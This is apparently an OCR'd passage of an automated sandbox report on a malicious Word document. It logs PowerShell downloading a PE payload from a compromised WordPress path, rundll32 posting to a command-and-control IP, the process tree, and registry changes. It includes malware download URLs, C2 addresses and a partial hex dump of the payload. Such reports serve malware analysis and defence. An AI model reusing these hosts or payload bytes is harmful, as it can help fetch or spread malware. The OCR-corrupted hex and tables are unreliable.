Jan 6, 2021 08:49:13.957952023 CET 80 49167
Jan 6, 2021 08:49:13.957977057 CET 80 49167
UDP Packets

Timestamp Source Port Dest Port
Jan 6, 2021 08:49:13.475481987 CET 52197 53

Jan 6, 2021 08:49:13.579385996 CET 53 52197
DNS Queries

Timestamp Source IP Dest IP Trans ID
Jan 6, 2021 08:49:13.475481987 CET 192.168.2.22 8.8.8.8 0x80ac
DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name
Jan 6, 2021 8.8.8.8 192.168.2.22 0x80ac No error (0) petafilm.com
08:49:13.579385996

CET

HTTP Request Dependency Graph

e petafilm.com
e 5.2.136.90

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Jan 6, 2021 0

08:49:13.699331999 CET

Copyright null 2021

Source Port

49167

Direction

ouT

Destination IP

176.53.69.151 80

Data

GET /wp-admin/4m/ HTTP/1.1
Host: petafilm.com
Connection: Keep-Alive

Destination Port Process

Source IP
192.168.2.22
176.53.69.151
192.168.2.22
176.53.69.151
176.53.69.151
192.168.2.22
176.53.69.151
176.53.69.151

Source IP

192.168.2.22

8.8.8.8

OP Code Name
Standard query  petafilm.com
(0)

CName Address

176.53.69.151

Dest IP
176.53.69.151
192.168.2.22
176.53.69.151
192.168.2.22
192.168.2.22
176.53.69.151
192.168.2.22
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22

Type
A (IP address)

Type
A (IP address)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Class

IN (0x0001)

Class

IN (0x0001)
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kBytes
Timestamp transferred

Jan 6, 2021 1
08:49:13.808119059 CET

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jan 6, 2021 200

08:49:32.588160992 CET

Copyright null 2021

Direction

IN

Source Port

49168

Direction

ouT

Data

HTTP/1.1 200 OK

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Content-Type: application/octet-stream

Expires: Wed, 06 Jan 2021 07:49:24 GMT

Last-Modified: Wed, 06 Jan 2021 07:49:24 GMT

Server: Microsoft-11S/10.0

Set-Cookie: 5ff56b8489beb=1609919364; expires=Wed, 06-Jan-2021 07:50:24 GMT; Max-Age=60; path=/
Content-Disposition: attachment; filename="QieaYu0XHj;8.dII"

Content-Transfer-Encoding: binary

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Wed, 06 Jan 2021 07:49:23 GMT

Content-Length: 192000

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 95 16 3a bb d1 77 54 e8 d1 77 54 €8 d1 77 54 8 15 b2 99 e8 dc 77 54 €8 15 b2
9a e88e 77 54 e8 15 b2 9b 8 f8 77 54 €8 2d 00 eb €8 d0 77 54 €8 2d 00 e8 e8 d3 77 54 e8 d1 77 55 €8 53 77 54 €8 2d 0
OedeBcO 7754 e8f6 bl 9be8d57754e8f6blee8dd 7754 e8f6 bl ode8dd7754e8dl77c3e8d07754e8f6b
198 e8d0 7754 €852 69 63 68 dl 77 54 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ff a1 f3 5f 00 00 00 00 00 O
000 00 e0 00 02 21 Ob 01 Ob 00 00 be 00 00 00 4a 02 00 00 00 00 00 dc 45 00 00 00 10 00 00 00 dO 00 00 00 00 00 10
00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 03 00 00 04 00 00 00 00 00 00 02 00 00
01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 fO 19 01 00 cb 00 00 00 8¢ 0f 01 00 b4 00 00
00 00 50 01 00 20 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 03 00 a0 Oc 00 00 10 d2 00 00 38 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 05 01 00 40 00 00 00 00 00 00 00 00
00 00 00 00 dO 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78
7400 00 00 19 bd 00 00 00 10 00 00 00 be 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64
61 74 61 00 00 bb 4a 00 00 00 dO 00 00 00 4c 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64
61 74 61 00 00 00 9c 2d 00 00 00 20 01 00 00 10 00 00 00 Oe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e
72 7372 63 00 00 00 20 b2 01 00 00 50 01 00 00 b4 01 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
2e 72 65 6¢ 6f 63 00 00 48 1a 00 00 00 10 03 00 00 1c 00 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 4
200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$:wTwTWTWTWTWT-wT-wTwUSWT-wTwTwTwTwwTwTRich
WTPEL_!JEOP 8@.text ".rdatalL@@.data- @.rsrc P@@.relocH@B

Destination IP Destination Port Process

5.2.136.90 80 C:\Windows\SysWOW64\rundll32.exe

Data

POST /76cxdz6xxj/ul5u3hféxqéus/Ovtcgy/titp48/51uldiflfy5wlgpgf/ HTTP/1.1

DNT: 0

Referer: 5.2.136.90/76cxdz6xxj/ul5u3hféxqéus/Ovtcgy/titp48/51uldiflfy5wigpgf/

Content-Type: multipart/form-data; boundary=- sSArhAY1ugWdoQV

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 5.2.136.90

Content-Length: 5940

Connection: Keep-Alive

Cache-Control: no-cache
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kBytes

Timestamp transferred Direction
Jan 6, 2021 208 IN
08:49:33.304199934 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 06 Jan 2021 07:49:33 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 66 38 34 0d 0a 53 97 06 1b 16 33 39 9f ¢1 09 dd 4d cb a3 a4 db a9 1c 20 be Oc 9c 93 80 84 b3 8b 03 85 93 79
Oe d0 96 17 ea e5 76 f1 b0 d4 3d 3b 72 42 22 68 03 8f 2f bd 76 75 31 b6 49 8f 43 f1 4a ee 61 7c €9 06 44 61 c2 a6 47 d7
39 bf 32 €7 08 35 ¢9 57 38 c3 0f 3¢ 9d 55 af af 54 ff c4 1d 40 01 e7 8c 38 e4 86 50 5e 04 3e 63 8e b6 66 29 €6 fd 66 e7 f1
bb fb b7 77 1a Oc 15 49 Oe 3f 5d 14 f5 6¢ f4 c8 cd dc fb 3a bc ef 74 4f d2 ¢8 62 61 36 5¢ d4 15 3a a0 bl ba 52 1b 50 1b 92
6f df b5 31 ac d5 a5 69 2a 16 Ob 13 ff 98 d7 b7 aa 3a 6f 9c a5 5b 15 76 57 6a c4 06 d1 16 2f 44 34 ff 7d 55 d1 29 41 a3 f3
a2 4f c9 b3 2d 92 el fd 32 bb 13 52 e6 44 b5 69 15 8d 53 4c f9 1e 54 57 bd 93 a8 19 ea a5 f1 14 8a 4d e6 le 7a 48 dd e2
53 47 20 34 c0 6d f6 2d 18 e3 e9 e5 fe 28 a8 24 51 e3 da 42 0d c7 bb dc 5¢ 6¢ 05 70 ff f2 8f 41 c6 c6 b3 b6 9d ef aa 75 89
69 1d 75 62 b7 d9 b0 14 cd 5¢c 19 7c 7a c1 de 9b da 53 45 12 77 Oc c9 cb 16 74 9e 3f 4c 62 21 56 72 fc 8c f9 el ab f4 dO
46 9f d6 2e c8 f5 c0 8 79 64 75 1e 11 1a 62 cf al 31 4f 1e 74 78 72 a2 eb 3b 2b 86 73 0d 80 1b f9 6a 69 06 7d e3 10 d4
67 15 5¢ 92 a5 5d 1b 22 fe cf 5b 91 1f 04 33 70 cb 64 43 a3 a8 5f 32 ae fa fd 0d fc b4 10 bb 7e 7d 3e 97 55 55 cf ¢5 8d 2d
87 18 aa 99 ab 2d 07 2c 5¢ 07 8e 38 60 9f b0 99 e6 37 3e 74 ef ef 24 9b 0d fd 59 a6 f0 40 cc 06 8f 62 f1 75 03 70 10 98 41
32 ae f5 e7 26 4f ed Oc f3 3e a2 f8 €6 49 1c 52 41 1e 0f 62 08 8e 65 73 15 8d e0 e8 67 b5 10 a7 8d 18 67 d1 32 bd 3b a0
63 41 2¢c 02 1c 38 9b 97 03 2e 22 d6 05 c1 18 76 cd 69 bf b9 b9 43 {3 51 63 ¢7 58 7b 5f 46 d3 9a c9 9e 3b 62 1la be 49 7e
8f 0c 90 f9 44 2b 34 8 7d 4a 23 2e 5b 3a 82 ea 02 5e 19 da 90 ab 46 56 01 82 0f 87 61 Oa 5e b5 9f 22 ef b5 91 7 4e 0d
95 1c 5d 50 a8 31 e2 8b 4b Ob 64 cd d2 73 48 d3 fd db d7 fc 6a e4 3e dc ff 2e 9b eb al 14 1b ¢7 90 8b 94 4c 1c d6 64 ab
€9 72 8e d4 f4 68 4b d7 6¢ 5a f4 d3 97 33 ca a5 e4 2d d2 77 eb 9f 3d 81 68 79 9a 7c 1le 16 5b b5 4e 1d 26 36 67 eb 7 de
24 c5 8c 26 95 06 b2 5a 26 e6 2b 4e 93 a3 1a 3b b6 b0 be b1 82 08 d5 ¢9 c¢1 b6 59 56 c1 44 5d d3 bd 0d 76 06 58 14 dc
22 e8 c7 3e 71 5f ¢3 1e d3 5b 27 56 ba 9c ce 40 cc 36 87 18 69 b3 a3 Oc 5a dc 0f 3¢ 22 3¢ d6 d8 58 c9 bc d2 95 23 85 71
e7 1a 42 2b c0 d9 af 3c dc 4b c8 50 54 e7 19 05 e5 f0 ab 52 18 e7 93 18 f2 ec eb f2 54 70 e2 89 ac bd 95 2b 41 e0 93 c7
92 da db 4e e9 bf a9 6d 78 99 b0 ¢3 96 99 60 19 d3 0f 20 4f 3f d8 c2 35 15 9a fe 60 7b ab 5e 4d b8 94 62 9a bb b4 27 da
91 ff 1d 37 a9 61 7e d2 13 93 50 bc 9c 6f 17 3d 6d b4 06 26 11 cc 09 5a 39 07 76 49 4b 23 fd 78 22 a8 78 1f al d1 32 c4
78 be ec 41 16 19 95 34 da f5 5¢ 38 3c 5¢ 3a 78 36 24 ed b0 a7 ef 19 2b 33 db 68 82 db 22 el 45 22 1d 6f 7b fd a9 d5 6a
99 e5 Oa Oe df 4e 39 6a 64 c8 52 a7 20 44 a6 el 92 90 18 a9 18 f5 2c b2 75 85 3e 2 29 af 4a 3 48 d3 aa f9 df 3e fc cO 7e
7a 1d 04 9c f9 b6 5a 4c 86 7b c2 1e 29 7e 2a 3c 67 4c f2 57 97 6e af ae fa 4b 56 a2 13 96 68 Oe e6 03 f6 c1 63 75 a7 f1 f9
6f 30 85 06 07 57 d0 95 3e 95 O f7 37 cf 13 cc bf el df 6b b5 ed e9 85 ¢7 43 64 9c 33 46 db f1 81 12 b9 89 6f 2b e5 92 28
74 07 cf 8b 22 c8 el 65 f3 ef 76 6¢ 71 31 a3 d8 69 11 b0 48 9d 37 d9 bd 4b d8 3a 21 59 1c 7b 05 6¢ 4a 1f c4 f4 05 1a 3d
7d e0 a3 08 88 a2 55 Ob 9b 55 08 b0 fc 02 18 b0 c5 eb 53 93 7e 6e fa Oe €9 08 25 ae 1a 67 98 6a 75 9f 83 79 3f 7f 7e 62
€7 6b ee fO 6b 3a 39 3b bb 21 fc 91 c3 d5 6b a8 a6 58 3 ce 4b 98 al 03 8f 47 a0 1a 65 92 2f dd 3f 59 f3 30 6a 40 a9 be e5
29 b7 e0 11 a7 15 fb 99 71 33 2d 93 ff fd 36 f1 08 ed 60 5a 16 c1 87 d5 5b 96 64

Data Ascii: f84S39M yv=;rB"h/vullCJa|DaG925W8<UT@8P">cf)fwl?]l:tOba6\:RPol1i*:0[vWj/D4}U)AO-2RDISLTWMzHSG
4Am-($QB\IpAuiub\|zSEwt?Lb!VrF.ydub1Otxr;+sji}g\]"[3pdC_2~}>UU--,\8' 7>t$Y @bupA2&0>IRAbesgg2;cA,8."viCQcX{
F;bl~D+4}J#.[AFVa’"N]P1KdsHj>.LdrhKIZ3-w=hy|[N&6g$&Z&+N;YVDIvX">q_[V@6iZ<"<X#qB+<KPTRTp+ANmx 0?5
{"Mb'7a~Po=m&Z9vIK#x"x2xA4\8<\:x6$+3h"E"0{jN9jdR D,u>)IH>~zZL{)~*<gLWnKVhcuoOW>7kCd3Fo+(t"eviqliH7K:
1Y{lJ=}UUS~n%gjuy?~bkk:9;!kXKGe/?Y0j@)q3-6 Z[d

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 944 Parent PID: 584

General

Start time: 08:48:38
Start date: 06/01/2021
Path:

Wow64 process (32bit): false

Commandline:

Imagebase: 0x13f920000
File size: 1424032 bytes
MD5 hash:

Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Reputation: high
File Activities
File Created
File Path Access Attributes Options

read data or list device
directory |
synchronize

C:\Users\user\AppData\Local\Temp\VBE

directory file |
synchronous io
non alert | open

95C38D04597050285A18F66039EDB456

C, C++ or other language

Completion

success or wait 1

for backup ident
| open reparse

point

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\~DF9097EC2936FFD279.TMP

Old File Path New File Path

File Path Offset Length Value Ascii

File Read

File Path Offset

C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown
Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F5CA1

Copyright null 2021

Completion

success or wait

Completion

Completion

Length Completion

1 success or wait

4096

Completion Count
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

P R R R R R R

success or wait

Count Address

success or wait

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding

Source
Symbol

7FEE95226B4 CreateDirectoryA

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown

Source
Count Address Symbol

Source
Count Address Symbol

Source

Count Address Symbol
1 7FEE91AEC53 ReadFile

1 7FEE91B6CAC ReadFile

Source

Address Symbol

7FEE945E72B RegCreateKeyExA
7FEE945E72B RegCreateKeyExA
7FEE945E72B RegCreateKeyExA
7TFEE9449ACO0 unknown
7TFEE9449ACO0 unknown
7TFEE9449ACO unknown

7TFEE9449ACO unknown
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Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5CAL

Copyright null 2021

Name

Cambria Math

Tahoma

F5CA1

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 BO 03 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
C6 46 8F DD 4B E4 D6 01 A1 5C OF
00 A1 5C OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5CAL

Copyright null 2021

Name

ProductFiles

ProductFiles

F5CA1

Type

dword

dword

binary

Name

Type

Old Data
1378222126

1378222127

04 00 00 00 BO 03 00 00 2A

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

New Data

1378222127

1378222128

00 00 00 43 00 3A 00 5C 00
5500 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C
0041 00 6C 00 62 00 7500 73
00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C
00 5C 00 54 00 65 00 6D 00
70 00 5C 00 69 00 6D 00 67

00 67 00 73 00 2E 00 68 00 74 00 73 00 2E 00 68 00 74 00

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
C6 46 8F DD 4B E4 D6 01 Al
5C OF 00 A1 5C OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

6D 00 04 00 00 00 69 00 6D
00 67 00 73 00 00 00 00 00 01
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 A1 5C OF 00
A1 5C OF 00 00 00 00 00 DB
04 00 00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF
FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

04 00 00 00 BO 03 00 00 2A 00 success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7TFEE9449ACO0 unknown

7TFEE9449ACO0 unknown

7TFEE9449ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

